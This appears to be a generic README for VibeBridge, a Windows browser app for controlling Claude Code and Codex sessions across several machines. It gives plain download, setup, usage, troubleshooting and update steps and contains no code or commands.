VibeBridge is a web app that lets you control Claude Code and Codex from a browser. You can use it across multiple computers and nodes from one place.
It is built for people who want a single screen for remote coding tasks, team machines, or distributed setups. You open the web UI, connect your nodes, and manage work without switching between tools.
- Open a browser-based control panel
- Connect to more than one machine
- Manage Claude Code and Codex from one place
- Send tasks to remote nodes
- Check status across systems
- Keep your workflow in one web UI
- Use it on a local network or a remote setup
VibeBridge works on Windows and uses a browser for the main interface.
Before you start, make sure you have:
- Windows 10 or Windows 11
- A modern browser like Chrome, Edge, or Firefox
- Internet access for the download
- Enough disk space for the app and logs
- Access to the machines you want to control
If you plan to connect remote nodes, those machines should be online and reachable from your network.
Visit this page to download VibeBridge for Windows:
Download VibeBridge from Releases
On the releases page, look for the latest Windows build. Download the file for your system, then keep it in a folder you can find later, like Downloads or Desktop.
Follow these steps on Windows:
- Open the download link above.
- Find the latest release.
- Download the Windows file from that release.
- If the file comes in a ZIP folder, right-click it and choose Extract All.
- Open the extracted folder.
- Double-click the app file to start VibeBridge.
- If Windows asks for permission, choose Yes.
- Wait for the app to open in your browser or local window.
- Keep the app running while you use it.
If the app opens a local web page, leave the main window active and use the address shown in the app.
When you open VibeBridge for the first time, set up your control nodes.
- Open the VibeBridge web UI.
- Find the node or machine section.
- Add the machine name.
- Enter the connection details.
- Save the node.
- Open the tool settings.
- Choose Claude Code or Codex.
- Enter the required access details.
- Save your changes.
- Test the connection.
After setup, look for:
- Connected nodes
- Active sessions
- Task queue
- Tool status
- Error messages
If a node does not connect, check the machine name, network path, and access details.
Use VibeBridge from your browser once it is running.
- Open the main dashboard
- Choose a machine or node
- Select Claude Code or Codex
- Start the session
- Open the task panel
- Type your request
- Pick the target machine
- Submit the task
- Watch the status update
- Use the node list to see each machine
- Check which node is busy
- Move work to another machine if needed
- Review logs if a task stops
- Open the active session
- Choose Stop or Close
- Wait for the status to update
- Confirm the node is free again
VibeBridge fits common remote work setups:
- One person controlling several development machines
- A small team sharing access to remote AI coding tools
- A lab or office managing nodes from one browser tab
- A home setup with a main PC and extra worker machines
- A distributed system where each node handles part of the work
The web UI is simple and usually includes these areas:
- Dashboard: shows current status
- Nodes: lists machines you can control
- Sessions: shows active and past sessions
- Tools: lets you switch between Claude Code and Codex
- Logs: shows errors and connection events
- Settings: stores your app and network options
Use the dashboard first if you are not sure where to click.
After you extract the download, you may see files like:
- App files
- Config files
- Logs folder
- Readme or help file
- Data folder
Do not move random files around unless you know what they do. Keep the app files in one folder so VibeBridge can find its settings and logs.
Because VibeBridge works across machines, a stable network helps.
- Use the same Wi-Fi or wired network for local setups
- Check that each node is online
- Make sure the target machine allows incoming connections
- Use clear machine names
- Keep time and date settings correct on each PC
If you use remote access over the internet, make sure each machine has a reachable address and the right permissions.
If VibeBridge does not start:
- Try running it again
- Right-click the file and choose Run as administrator
- Check that the ZIP file was fully extracted
- Make sure your browser is up to date
If the browser page does not open:
- Look for the local address in the app window
- Copy and paste it into your browser
- Try another browser
If a node shows offline:
- Check that the machine is on
- Confirm the network connection
- Review the node settings
- Restart the app on that machine
If Claude Code or Codex will not connect:
- Check the access details
- Confirm the tool is installed on the target machine
- Save the settings again
- Restart the session
For a smooth start on Windows, use this setup:
- Download the latest release
- Extract it to a simple folder like C:\VibeBridge
- Keep the folder name short
- Run the app from that folder
- Open the web UI in your main browser
- Pin the tab if you use it often
This makes it easier to find logs, settings, and updates later.
When a new release appears:
- Open the releases page
- Download the latest Windows build
- Close the current app
- Replace the old files if needed
- Open the new version
- Check that your nodes still connect
If your settings live in a separate config file, keep that file when updating.
- Node: A machine connected to VibeBridge
- Session: A live control connection to a tool or machine
- Web UI: The page you use in your browser
- Remote control: Using one machine to manage another
- Distributed setup: Several machines working as one system
Use this page to download VibeBridge:
VibeBridge is made for:
- Browser-based control
- Remote work across machines
- Claude Code and Codex access
- Multi-node management
- Simple use on Windows
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